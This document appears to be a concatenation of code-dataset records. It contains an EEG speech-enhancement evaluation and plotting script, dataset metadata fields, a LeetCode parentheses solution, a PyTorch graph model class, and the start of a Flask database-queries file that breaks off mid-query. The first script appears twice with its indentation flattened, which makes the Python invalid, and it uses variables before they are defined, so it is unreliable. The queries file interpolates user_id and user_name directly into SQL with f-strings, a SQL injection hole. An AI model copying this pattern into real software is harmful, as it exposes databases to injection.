intel_matrix_choice[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='si-sdr')
#load prediction with spikes
exp_type='concatenate'
intel_matrix_concatenate=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_concatenate=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_concatenate=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_concatenate[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_concatenate[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_concatenate[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
intel_matrix_concatenate[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='si-sdr')
#no spikes
exp_type='noSpike'
size=prediction_noSpike.shape[0]
intel_matrix_noSpike=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_noSpike=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_noSpike=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_noSpike[i,0]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_noSpike[i,1]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_noSpike[i,2]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_noSpike[i,3]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+exp_type+'loss_matrix',intel_matrix_noSpike)
import h5py as hp
exp_type='noisy'
intel_matrix_noisy=np.zeros(shape=(size,1)) #0:pesq 1:stoi 2:estoi 3:si-sdr
file=hp.File(test_path+'/noisy_test.h5','r')
snd=file['noisy_test'][:]
file.close()
snd=snd[:,0:sound_len,:]
snd=snd[:,::3,:]
size=snd.shape[0]
intel_matrix_noisy=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
intel_matrix_noisy=np.load(exp_folder+'loss_matrix_noisy.npy')
for i in range(size):
print(i)
intel_matrix_noisy[i,0]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_noisy[i,1]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_noisy[i,2]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_noisy[i,3]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'loss_matrix_noisy',intel_matrix_noisy)
exp_folder = '../data'
intel_matrix_noisy = np.load(exp_folder + '/loss_matrix_wo_eeg.npy')
intel_matrix = np.load(exp_folder + '/loss_matrix_with_eeg.npy')
fusions = ['film1', 'film2', 'film3', 'film4', 'add', 'concat', 'choice', 'noSp', 'noisy']
metrics = ['pesq', 'stoi', 'estoi', 'si-sdr']
fusions = ['mixture', 'BESD']
metrics = ['PESQ', 'STOI', 'ESTOI', 'SI-SDR']
data = []
z = 2
# data.append(intel_matrix_film1[:,z])
# data.append(intel_matrix_film2[:,z])
# data.append(intel_matrix_film3[:,z])
# data.append(intel_matrix_film4[:,z])
# data.append(intel_matrix_add[:,z])
# data.append(intel_matrix_concatenate[:,z])
# data.append(intel_matrix_choice[:,z])
# data.append(intel_matrix_noSpike[:,z])
data.append(intel_matrix_noisy[:, z])
#data.append(intel_matrix_noSpike[:, z])
data.append(intel_matrix[:, z])
ld = len(metrics)
lm = len(fusions)
width = 1 / lm - .05
X = np.arange(ld)
"""
fig = plt.figure()
ax = fig.add_axes([0, 0, 1, 1])
for i in range(lm):
ax.bar(X + i * width, data[i], width=width)
ax.set_ylabel('intelligibility')
plt.xticks(X + lm * width / 2, metrics)
fusions = [f.replace('_', '') for f in fusions]
ax.legend(labels=fusions)
#plt.savefig(os.path.join(plot_one_path, 'plot_bars_accs.png'), bbox_inches="tight")
"""
num_boxes = len(data)
pos = np.arange(num_boxes) + 1
medians = np.zeros(shape=len(data))
for i in range(num_boxes):
medians[i] = np.median(data[i])
upper_labels = [str(np.round(s, 2)) for s in medians]
weights = ['bold', 'semibold']
"""
fig1, ax1 = plt.subplots()
ax1.boxplot(data, labels=fusions)
ax1.set_title(metrics[z])
ax1.yaxis.grid(True, linestyle='-', which='major', color='lightgrey',
alpha=0.5)
for tick, label in zip(range(num_boxes), ax1.get_xticklabels()):
k = tick % 2
ax1.text(pos[tick], .95, upper_labels[tick],
transform=ax1.get_xaxis_transform(),
horizontalalignment='center', size='x-small',
weight=weights[k])
plt.show()
"""
fig, ax = plt.subplots()
violin_handle = ax.violinplot(data, showmeans=False, showmedians=False, showextrema=False, widths=.7)
colors = plt.cm.gist_ncar(np.linspace(0.2, .8, len(violin_handle['bodies'])))
np.random.seed(0)
colors = plt.cm.twilight(np.random.rand(len(violin_handle['bodies'])))
np.random.shuffle(colors)
for pc, c in zip(violin_handle['bodies'], colors):
pc.set_facecolor(c)
pc.set_edgecolor('black')
pc.set_alpha(1.)
for tick, label in zip(range(num_boxes), ax.get_xticklabels()):
k = tick % 2
ax.text(pos[tick], .95, upper_labels[tick],
transform=ax.get_xaxis_transform(),
horizontalalignment='center', size='x-small',
weight=weights[k])
ax.set_ylabel(metrics[z])
ax.set_ylim(-10, 15)
plt.xticks(np.arange(len(fusions)) + 1, fusions)
plt.show()
fig.savefig('cocktail_sisdr_violins.pdf', bbox_inches='tight')
| # this will load noisy, clean and different predictions
import os, sys
import h5py as hp
import matplotlib.pyplot as plt
sys.path.append('../')
import tensorflow as tf
import numpy as np
sound_len = 87552 # 218880
from TrialsOfNeuralVocalRecon.tools.calculate_intelligibility import find_intel
from TrialsOfNeuralVocalRecon.tools.utils.losses import *
#load noisy file
#test_path= 'C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/data/Cocktail_Party/Normalized/'
exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/3-both speakers\Linear/'#'Linear/'
#test_path='D:/data/EEG processed data/luca way'
test_path='D:/data/EEG processed data/2_sec'
#exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/6/'
#exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/9-luca data/2020-09-15/'
file=hp.File(test_path+'/noisy_test.h5','r')
snd=file['noisy_test'][:]
file.close()
snd=snd[:,0:sound_len,:]
snd=snd[:,::3,:]
file=hp.File(test_path+'/eegs_test.h5','r')
eeg=file['eegs_test'][:]
file.close()
#load clean sound
file=hp.File(test_path+'/clean_test.h5','r')
clean=file['clean_test'][:]
file.close()
clean=clean[:,0:sound_len,:]
clean=clean[:,::3,:]
#### do the prediction:
With_spike=exp_folder+'noSpike/trained_models/model_weights_noSpikes_pre' #model_weights_WithSpikes_predict.h5'
model=tf.keras.models.load_model(With_spike, custom_objects={'si_sdr_loss': si_sdr_loss})
prediction_withSpikes_film1=model.predict([snd,eeg])
np.save(exp_folder+'film1/prediction',prediction_withSpikes_film1)
#intel_matrix=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
#load prediction with spikes
exp_type='film1'
size=prediction_withSpikes_film1.shape[0]
intel_matrix_film1=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film1=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film1=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film1[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film1[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film1[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film1[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='si-sdr')
# for i in range(size):
# print(i)
# c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='stsa-mse')
np.save(exp_folder+'film1/loss_matrix',intel_matrix_film1)
#load prediction with spikes
exp_type='film2'
size=prediction_withSpikes_film2.shape[0]
intel_matrix_film2=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film2=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film2=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film2[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film2[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film2[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film2[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='si-sdr')
# for i in range(size):
# print(i)
# c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='stsa-mse')
np.save(exp_folder+'film2/loss_matrix',intel_matrix_film2)
#load prediction with spikes
exp_type='film3'
size=prediction_withSpikes_film3.shape[0]
intel_matrix_film3=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film3=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film3=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film3[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film3[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film3[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film3[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'film3/loss_matrix',intel_matrix_film3)
#load prediction with spikes
exp_type='film4'
size=prediction_withSpikes_film4.shape[0]
intel_matrix_film4=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film4=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film4=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film4[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film4[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film4[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film4[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'film4/loss_matrix',intel_matrix_film4)
#load prediction with spikes
exp_type='add'
intel_matrix_add=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_add=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_add=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_add[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_add[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_add[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
intel_matrix_add[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='si-sdr')
#load prediction with spikes
exp_type='choice'
intel_matrix_choice=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_choice=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_choice=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_choice[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_choice[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_choice[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
intel_matrix_choice[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='si-sdr')
#load prediction with spikes
exp_type='concatenate'
intel_matrix_concatenate=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_concatenate=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_concatenate=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_concatenate[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_concatenate[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_concatenate[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
intel_matrix_concatenate[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_concatenate[i:i+1,:,:],metric='si-sdr')
#no spikes
exp_type='noSpike'
size=prediction_noSpike.shape[0]
intel_matrix_noSpike=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_noSpike=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_noSpike=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_noSpike[i,0]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_noSpike[i,1]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_noSpike[i,2]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_noSpike[i,3]=find_intel(clean[i:i+1,:,:],prediction_noSpike[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+exp_type+'loss_matrix',intel_matrix_noSpike)
import h5py as hp
exp_type='noisy'
intel_matrix_noisy=np.zeros(shape=(size,1)) #0:pesq 1:stoi 2:estoi 3:si-sdr
file=hp.File(test_path+'/noisy_test.h5','r')
snd=file['noisy_test'][:]
file.close()
snd=snd[:,0:sound_len,:]
snd=snd[:,::3,:]
size=snd.shape[0]
intel_matrix_noisy=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
intel_matrix_noisy=np.load(exp_folder+'loss_matrix_noisy.npy')
for i in range(size):
print(i)
intel_matrix_noisy[i,0]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_noisy[i,1]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_noisy[i,2]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_noisy[i,3]=find_intel(clean[i:i+1,:,:],snd[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'loss_matrix_noisy',intel_matrix_noisy)
exp_folder = '../data'
intel_matrix_noisy = np.load(exp_folder + '/loss_matrix_wo_eeg.npy')
intel_matrix = np.load(exp_folder + '/loss_matrix_with_eeg.npy')
fusions = ['film1', 'film2', 'film3', 'film4', 'add', 'concat', 'choice', 'noSp', 'noisy']
metrics = ['pesq', 'stoi', 'estoi', 'si-sdr']
fusions = ['mixture', 'BESD']
metrics = ['PESQ', 'STOI', 'ESTOI', 'SI-SDR']
data = []
z = 2
# data.append(intel_matrix_film1[:,z])
# data.append(intel_matrix_film2[:,z])
# data.append(intel_matrix_film3[:,z])
# data.append(intel_matrix_film4[:,z])
# data.append(intel_matrix_add[:,z])
# data.append(intel_matrix_concatenate[:,z])
# data.append(intel_matrix_choice[:,z])
# data.append(intel_matrix_noSpike[:,z])
data.append(intel_matrix_noisy[:, z])
#data.append(intel_matrix_noSpike[:, z])
data.append(intel_matrix[:, z])
ld = len(metrics)
lm = len(fusions)
width = 1 / lm - .05
X = np.arange(ld)
"""
fig = plt.figure()
ax = fig.add_axes([0, 0, 1, 1])
for i in range(lm):
ax.bar(X + i * width, data[i], width=width)
ax.set_ylabel('intelligibility')
plt.xticks(X + lm * width / 2, metrics)
fusions = [f.replace('_', '') for f in fusions]
ax.legend(labels=fusions)
#plt.savefig(os.path.join(plot_one_path, 'plot_bars_accs.png'), bbox_inches="tight")
"""
num_boxes = len(data)
pos = np.arange(num_boxes) + 1
medians = np.zeros(shape=len(data))
for i in range(num_boxes):
medians[i] = np.median(data[i])
upper_labels = [str(np.round(s, 2)) for s in medians]
weights = ['bold', 'semibold']
"""
fig1, ax1 = plt.subplots()
ax1.boxplot(data, labels=fusions)
ax1.set_title(metrics[z])
ax1.yaxis.grid(True, linestyle='-', which='major', color='lightgrey',
alpha=0.5)
for tick, label in zip(range(num_boxes), ax1.get_xticklabels()):
k = tick % 2
ax1.text(pos[tick], .95, upper_labels[tick],
transform=ax1.get_xaxis_transform(),
horizontalalignment='center', size='x-small',
weight=weights[k])
plt.show()
"""
fig, ax = plt.subplots()
violin_handle = ax.violinplot(data, showmeans=False, showmedians=False, showextrema=False, widths=.7)
colors = plt.cm.gist_ncar(np.linspace(0.2, .8, len(violin_handle['bodies'])))
np.random.seed(0)
colors = plt.cm.twilight(np.random.rand(len(violin_handle['bodies'])))
np.random.shuffle(colors)
for pc, c in zip(violin_handle['bodies'], colors):
pc.set_facecolor(c)
pc.set_edgecolor('black')
pc.set_alpha(1.)
for tick, label in zip(range(num_boxes), ax.get_xticklabels()):
k = tick % 2
ax.text(pos[tick], .95, upper_labels[tick],
transform=ax.get_xaxis_transform(),
horizontalalignment='center', size='x-small',
weight=weights[k])
ax.set_ylabel(metrics[z])
ax.set_ylim(-10, 15)
plt.xticks(np.arange(len(fusions)) + 1, fusions)
plt.show()
fig.savefig('cocktail_sisdr_violins.pdf', bbox_inches='tight') | en | 0.399003 | # this will load noisy, clean and different predictions # 218880 #load noisy file #test_path= 'C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/data/Cocktail_Party/Normalized/' #test_path='D:/data/EEG processed data/luca way' #exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/6/' #exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/9-luca data/2020-09-15/' #load clean sound #### do the prediction: #model_weights_WithSpikes_predict.h5' #intel_matrix=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr # for i in range(size): # print(i) # c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='stsa-mse') #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr # for i in range(size): # print(i) # c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='stsa-mse') #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #load prediction with spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #no spikes #0:pesq 1:stoi 2:estoi 3:si-sdr #0:pesq 1:stoi 2:estoi 3:si-sdr #0:pesq 1:stoi 2:estoi 3:si-sdr # data.append(intel_matrix_film1[:,z]) # data.append(intel_matrix_film2[:,z]) # data.append(intel_matrix_film3[:,z]) # data.append(intel_matrix_film4[:,z]) # data.append(intel_matrix_add[:,z]) # data.append(intel_matrix_concatenate[:,z]) # data.append(intel_matrix_choice[:,z]) # data.append(intel_matrix_noSpike[:,z]) #data.append(intel_matrix_noSpike[:, z]) fig = plt.figure() ax = fig.add_axes([0, 0, 1, 1]) for i in range(lm): ax.bar(X + i * width, data[i], width=width) ax.set_ylabel('intelligibility') plt.xticks(X + lm * width / 2, metrics) fusions = [f.replace('_', '') for f in fusions] ax.legend(labels=fusions) #plt.savefig(os.path.join(plot_one_path, 'plot_bars_accs.png'), bbox_inches="tight") fig1, ax1 = plt.subplots() ax1.boxplot(data, labels=fusions) ax1.set_title(metrics[z]) ax1.yaxis.grid(True, linestyle='-', which='major', color='lightgrey', alpha=0.5) for tick, label in zip(range(num_boxes), ax1.get_xticklabels()): k = tick % 2 ax1.text(pos[tick], .95, upper_labels[tick], transform=ax1.get_xaxis_transform(), horizontalalignment='center', size='x-small', weight=weights[k]) plt.show() | 1.795098 | 2 |
codes_/1021_Remove_Outermost_Parentheses.py | SaitoTsutomu/leetcode | 0 | 6623627 | # %% [1021. Remove Outermost Parentheses](https://leetcode.com/problems/remove-outermost-parentheses/)
# 問題：一番外側の括弧を取り除け
class Solution:
def removeOuterParentheses(self, S: str) -> str:
res, n = "", 0
for s in S:
if s == "(":
if n:
res += "("
n += 1
else:
n -= 1
if n:
res += ")"
return res
| # %% [1021. Remove Outermost Parentheses](https://leetcode.com/problems/remove-outermost-parentheses/)
# 問題：一番外側の括弧を取り除け
class Solution:
def removeOuterParentheses(self, S: str) -> str:
res, n = "", 0
for s in S:
if s == "(":
if n:
res += "("
n += 1
else:
n -= 1
if n:
res += ")"
return res
| en | 0.2928 | # %% [1021. Remove Outermost Parentheses](https://leetcode.com/problems/remove-outermost-parentheses/) # 問題：一番外側の括弧を取り除け | 3.490901 | 3 |
model/model.py | codeKgu/BiLevel-Graph-Neural-Network | 20 | 6623628 | <reponame>codeKgu/BiLevel-Graph-Neural-Network
import torch.nn as nn
from config import FLAGS
from model.layers_factory import create_layers
class Model(nn.Module):
def __init__(self, data, config_layer_type='layer'):
super(Model, self).__init__()
self.train_data = data
self.interaction_num_node_feat = data.dataset.interaction_num_node_feat
self.num_node_feat = data.num_node_feat
self.num_hyper_edge_feat = data.num_hyper_edge_feat
self.num_labels = data.dataset.num_labels
self.layers = create_layers(self, config_layer_type,
vars(FLAGS)["{}_num".format(config_layer_type)])
self.pred_layer = self.layers[-2] # assume pred layer is second to last layer
self._use_layers = 'all'
if FLAGS.lower_level_layers and FLAGS.higher_level_layers:
self._use_layers = 'init_model'
self.init_layers = self.layers[:FLAGS.last_lower_lyr_num]
self.lower_layers = self.layers[:FLAGS.last_lower_lyr_num + 1]
self.higher_level_layers = self.layers[FLAGS.last_lower_lyr_num + 1:]
elif FLAGS.lower_level_layers:
self.init_layers = self.layers[:-2]
self.lower_layers = self.layers[:-2]
assert (len(self.layers) > 0)
self._print_layers(None, self.layers)
self.layer_output = {}
self.acts = None
def forward(self, batch_data):
# Go through each layer except the last one.
# acts = [self._get_ins(self.layers[0])]
md = batch_data.merge_data['merge']
self.acts = [md.x]
if FLAGS.lower_level_layers and FLAGS.higher_level_layers:
if self._use_layers == 'init_layers':
layers = self.init_layers
elif self._use_layers == 'lower_layers':
layers = self.lower_layers
elif self._use_layers == 'higher_layers':
layers = self.higher_level_layers
elif self._use_layers == 'higher_no_eval_layers':
layers = self.layers[FLAGS.last_lower_lyr_num + 1:-2]
else:
if self._use_layers == "higher_no_eval_layers":
layers = self.layers[:-2]
elif self._use_layers == 'lower_layers':
layers = self.lower_layers
elif self._use_layers == 'init_layers':
layers = self.init_layers
else:
layers = self.layers
for k, layer in enumerate(layers):
ins = self.acts[-1]
outs = layer(ins, batch_data, self)
self.acts.append(outs)
total_loss = self.acts[-1]
return total_loss
def store_layer_output(self, layer, output):
self.layer_output[layer] = output
def get_layer_output(self, layer):
return self.layer_output[layer] # may get KeyError/ValueError
def _print_layers(self, branch_name, layers):
print('Created {} layers: {}'.format(
len(layers), ', '.join(l.__class__.__name__ for l in layers)))
@property
def use_layers(self):
return self._use_layers
@use_layers.setter
def use_layers(self, setting):
assert setting in ['all', 'init_layers', 'lower_layers',
'higher_layers', 'higher_no_eval_layers']
self._use_layers = setting
| import torch.nn as nn
from config import FLAGS
from model.layers_factory import create_layers
class Model(nn.Module):
def __init__(self, data, config_layer_type='layer'):
super(Model, self).__init__()
self.train_data = data
self.interaction_num_node_feat = data.dataset.interaction_num_node_feat
self.num_node_feat = data.num_node_feat
self.num_hyper_edge_feat = data.num_hyper_edge_feat
self.num_labels = data.dataset.num_labels
self.layers = create_layers(self, config_layer_type,
vars(FLAGS)["{}_num".format(config_layer_type)])
self.pred_layer = self.layers[-2] # assume pred layer is second to last layer
self._use_layers = 'all'
if FLAGS.lower_level_layers and FLAGS.higher_level_layers:
self._use_layers = 'init_model'
self.init_layers = self.layers[:FLAGS.last_lower_lyr_num]
self.lower_layers = self.layers[:FLAGS.last_lower_lyr_num + 1]
self.higher_level_layers = self.layers[FLAGS.last_lower_lyr_num + 1:]
elif FLAGS.lower_level_layers:
self.init_layers = self.layers[:-2]
self.lower_layers = self.layers[:-2]
assert (len(self.layers) > 0)
self._print_layers(None, self.layers)
self.layer_output = {}
self.acts = None
def forward(self, batch_data):
# Go through each layer except the last one.
# acts = [self._get_ins(self.layers[0])]
md = batch_data.merge_data['merge']
self.acts = [md.x]
if FLAGS.lower_level_layers and FLAGS.higher_level_layers:
if self._use_layers == 'init_layers':
layers = self.init_layers
elif self._use_layers == 'lower_layers':
layers = self.lower_layers
elif self._use_layers == 'higher_layers':
layers = self.higher_level_layers
elif self._use_layers == 'higher_no_eval_layers':
layers = self.layers[FLAGS.last_lower_lyr_num + 1:-2]
else:
if self._use_layers == "higher_no_eval_layers":
layers = self.layers[:-2]
elif self._use_layers == 'lower_layers':
layers = self.lower_layers
elif self._use_layers == 'init_layers':
layers = self.init_layers
else:
layers = self.layers
for k, layer in enumerate(layers):
ins = self.acts[-1]
outs = layer(ins, batch_data, self)
self.acts.append(outs)
total_loss = self.acts[-1]
return total_loss
def store_layer_output(self, layer, output):
self.layer_output[layer] = output
def get_layer_output(self, layer):
return self.layer_output[layer] # may get KeyError/ValueError
def _print_layers(self, branch_name, layers):
print('Created {} layers: {}'.format(
len(layers), ', '.join(l.__class__.__name__ for l in layers)))
@property
def use_layers(self):
return self._use_layers
@use_layers.setter
def use_layers(self, setting):
assert setting in ['all', 'init_layers', 'lower_layers',
'higher_layers', 'higher_no_eval_layers']
self._use_layers = setting | en | 0.720737 | # assume pred layer is second to last layer # Go through each layer except the last one. # acts = [self._get_ins(self.layers[0])] # may get KeyError/ValueError | 2.36872 | 2 |
miniFBFlask/queries.py | timruet/DBS_Project | 0 | 6623629 | <reponame>timruet/DBS_Project
import psycopg2
DATABASE = "postgres"
USER = "postgres"
PASSWORD = "<PASSWORD>"
def get_user_data_based_on_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT id, screenname, name, age, income "
f"FROM facebook_user "
f"where id = {user_id}")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_user_data_based_on_user_name(user_name):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT id, screenname, name, age, income "
f"FROM facebook_user "
f"WHERE facebook_user.screenname = \'{user_name}\' ")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_number_of_records():
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT COUNT(id) FROM facebook_user")
result = cur.fetchone()
cur.close()
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if conn is not None:
conn.close()
return result
def get_user_fans_by_user_id(user_id):
conn = None
result = None
try:
conn = psycopg2.connect(host="localhost", database=DATABASE, user=USER, password=PASSWORD)
cur = conn.cursor()
cur.execute(f"SELECT DISTINCT facebook_user.screenname "
